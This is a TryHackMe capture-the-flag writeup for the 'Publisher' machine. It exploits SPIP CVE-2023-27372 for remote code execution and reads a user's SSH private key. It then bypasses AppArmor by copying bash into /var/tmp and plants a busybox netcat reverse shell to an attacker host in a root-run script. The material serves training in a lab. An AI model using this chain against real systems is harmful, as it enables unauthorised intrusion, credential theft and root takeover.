# Publisher Writeup - TryHackMe

> Exploit SUID binary and bypass AppArmor restrictions to escalate privileges on a Linux machine through careful enumeration and profile analysis.

- **URL:** https://hackindex.io/writeups/publisher
- **Platform:** TryHackMe
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://tryhackme.com/room/publisher
- **Tags:** privilege-escalation, suid, apparmor-bypass, cve-2023-27372
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-04-11
- **Updated:** 2026-07-13

## Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. Apache 2.4.41 on Ubuntu. The page title immediately names the technology: *Publisher's Pulse: SPIP Insights & Tips*.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
# 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
# |_http-title: Publisher's Pulse: SPIP Insights & Tips
```

## Enumeration

Directory enumeration finds a `/spip` path returning a live SPIP CMS install.

**Directory enumeration**

```bash
gobuster dir -u "http://$TARGET_IP" -w /usr/share/wordlists/dirb/big.txt -t 50 -r
# images   (Status: 200)
# spip     (Status: 200)
```

SPIP is a PHP CMS. Checking the version from source or the changelog reveals **SPIP < 4.2.1** ,  vulnerable to CVE-2023-27372, an unauthenticated remote code execution via PHP injection in the preview templating system. The vulnerability sits in `echappe_retour()`, which passes unsanitised input to an `eval()` call inside `traitements_previsu_php_modeles_eval()`. No credentials required.

## Initial Access

Run the exploit against the `/spip` endpoint. It automatically fetches the anti-CSRF token, crafts the PHP injection payload, and drops into an interactive pseudo-shell:

**Exploit CVE-2023-27372 — unauthenticated SPIP RCE**

```bash
python3 exploit.py --url http://$TARGET_IP/spip -v
# [+] Anti-CSRF token found: AKXEs4U6r36PZ5LnRZXtHvxQ/ZZYCXnJB2crlmVwgtlVVXwXn/...
# [+] The URL http://10.66.139.79/spip is vulnerable
# [!] Shell is ready, please type your commands UwU
# # whoami
# www-data
```

Shell lands as **www-data**. Reading `/etc/passwd` shows one user with a bash shell: **think**. The user flag is readable directly:

**Read SSH key from think's home**

```bash
cat /home/think/.ssh/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAA...
# -----END OPENSSH PRIVATE KEY-----
```

Save the key locally, fix permissions, and SSH in as **think**:

**SSH as think**

```bash
chmod 600 think_id_rsa
ssh think@$TARGET_IP -i think_id_rsa
# think@ip-10-66-139-79:~$
```

## Privilege Escalation

### SUID Binary ,  run_container

Checking SUID binaries reveals a non-standard entry: `/usr/sbin/run_container`. Running it presents a Docker container management menu. The underlying script is at `/opt/run_container.sh`.

**Inspect the SUID script**

```bash
ls -la /opt/run_container.sh
# -rwxrwxrwx 1 root root 1715 Jan 10  2024 /opt/run_container.sh
```

The script is world-writable. Attempting to edit it directly fails ,  the `think` user's shell is `/usr/sbin/ash` and an AppArmor profile restricts writes to `/opt/` and `/tmp/` among others. The profile runs in **complain mode** though, meaning it logs but does not enforce.

The AppArmor profile applies to `/usr/sbin/ash` ,  not to `/bin/bash`. A bash binary placed in a writable path outside the profile's coverage will run without the write restrictions. `/var/tmp` is writable and not covered by the profile restrictions:

**Escape AppArmor by spawning bash from /var/tmp**

```bash
cp /bin/bash /var/tmp/bash
exec /var/tmp/bash
echo $0
# /var/tmp/bash
```

Now running under `/var/tmp/bash`, which is not constrained by the AppArmor profile for `ash`. Write a payload into the world-writable `/opt/run_container.sh`:

**Overwrite run_container.sh with reverse shell**

```bash
echo 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' > /opt/run_container.sh
```

Trigger the SUID binary to execute the script as root:

**Trigger the SUID binary**

```bash
/usr/sbin/run_container
```

**Catch the root shell**

```bash
nc -lvnp $ATTACKER_PORT
# connect to [ATTACKER_IP] from (UNKNOWN) [10.66.139.79]
# whoami
# root
```

Root shell obtained.

Related

## References

- [CVE-2023-27372 — SPIP < 4.2.1 Remote Code Execution](https://www.exploit-db.com/exploits/51536) - Unauthenticated PHP injection via SPIP preview templating — no credentials required
- [SPIP Security Advisory — CVE-2023-27372](https://spip.net/en_article6627.html) - Official SPIP security advisory for the RCE in the preview/templating system